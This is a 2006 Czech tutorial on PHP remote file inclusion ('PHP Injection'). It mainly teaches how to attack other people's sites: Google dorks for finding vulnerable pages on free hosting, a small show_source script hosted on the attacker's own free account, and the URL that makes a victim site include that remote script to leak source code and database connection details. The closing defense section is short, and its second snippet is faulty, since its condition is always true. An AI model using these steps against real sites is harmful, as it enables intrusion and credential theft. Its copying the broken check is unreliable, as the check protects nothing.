Zpět na seznam článků     Číst komentáře (59)     Verze pro tisk

PHP Injection

Autor: ()Suprer()   
11.6.2006

Popis útoku PHP Injection + obrana


Při hledání informací o tomto útoku, jsem zjistil, že český web o této problematice poskytuje málo článků, nebo jsou články jen krátké atd...
Jinak doufám, že víte co jsou to proxy, jestli ne, tak se do toho radši ani nepouštějte.


Popis chyby:


Při tomto útoku se využívá chyba v PHP, která usnadňuje webmasterům práci tím, že si udělá jednu stránku (většinou index.php), ve které má volné místo a do toho potom vloží příkazem include další stránku, aby nemusel u každé psát záhlaví, patičku atd... Taková URL adresa potom vypadá asi následovně:

http://www.nejakastranka.cz/index.php?page=news.php

V tomto případě je do volného místa vložena stránka news.php, je to stejné jako by obsah v news.php vykonala stránka index.php. Potom můžeme zkusit napsat do adresy např. toto:

http://www.nejakastranka.cz/index.php?page=http://www.seznam.cz

No, a pokud se na stránce zobrazí seznam.cz, chyba existuje.... :)


Hledání webu:


Jenomže vhodnou stánku nejdříve musíme najít :)
K tomu nám poslouží náš starý přítel - GOOGLE. Do vyhledávání musíme vložit řetězec, který bude hledat v adresách stránku, která má proměnou ?page=něco.php...
Ale zkusme i trochu přemýšlet a zamysleme se nad tím, kde takových webů bude asi nejvíce?
Nejspíše na freehostingách :) Tam si totiž každý chce dát stránku, někdy i v PHP, aby měl svoji "nutně" potřebnou Admin sekci :D
Proto budeme hledat např. na ic.cz... Do vyhledvání napíšeme třeba toto:

inurl:"ic.cz/*.php?page=*.php"

Tento řetězec není univerzální, a proto zkuste různě kombinovat...


Náš script:


K tomu, aby jsme vykonali naše příkazy, ale budeme potřebovat vytvořit a někam umístit náš soubor php příkazů. Nejprve si ho vytvoříme, zdrojový kód může vypadat následovně:

<?
show_source("index.php")
?>


Tento scriptík, vyíše obsah kódu index.php, ale i s kusy kódu, které normálně nevidíte, a proto jsou pro nás nejzajímavější...
Tento soubor v poznámkovém bloku uložíme jako script.txt (možná si myslíte že tam má být .php, ale skutečně je tam .txt. Protože web ze kterého chcete soubor zpustit, by neměl potřebná oprávnění na zobrazení zdrojáku vašeho scriptu, funkci include je jedno, jestli tam máte .php nebo .txt, ale prostě k tomu .php se nedostane...).
Script máme vytvořený, ještě ho musíme někam "uploadnout". Takže si vytvořte nějaké freehosting konto a hoďte si tam script. Upload souboru a vytvoření konta nebudu více popisovat, protože to každý jistě zvládne sám.


Inkludování scriptu:


OK, nyní máme script na netu a web s bezp. dírou...
Takže jenom stačí do adresy napsat tohle:

http://www.nejakastranka.cz/index.php?page=http://nejakastranka.wz.cz/script.txt

Ale nyní pozor, pokud jse vám zobrazí zdrojový kód souboru script.txt a neprovede se, nejedná se o include, ale o rám, který pouze přesměruje na soubor, ale neprovede ho. V tomto případě si musíte najít další web. (Začátečníkům tato informace často uníká a hledají chybu ve scriptu atd...)

Pokud se ale zobrazí zdrojový kód indexu.php, máme vyhráno. Potom se tímto způsobem třeba můžeme prokousat až ke zobrazení souboru, který zajišťuje spojení mezi webem a databází (pokud existuje nějaká databáze, samozřejmě). A další a další funkce, to si přečtěte už někde jinde...



Obrana:


Obrana proti tomuto útoku je velice jednoduchá. Stačí napsat kód, který má v sobě seznam hodnot kterých může proměnná $page nabývat... Ten kód by mohl vypadat takhle:

switch ($page)
{ case "moznost1.php":
include("moznost1.php");
break;
case "moznost2.php":
include("moznost2.php");
break;
}


Nebo takhle:

If ($page != "moznost1.php" || "moznost2.php")
{
echo "Na PHP Injekci ti neskočim :)";
} else { include($page);}


Doufám že jste techniku obrany pochopili....


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.91/11

1  2  3  4  5    
(známkování jako ve škole)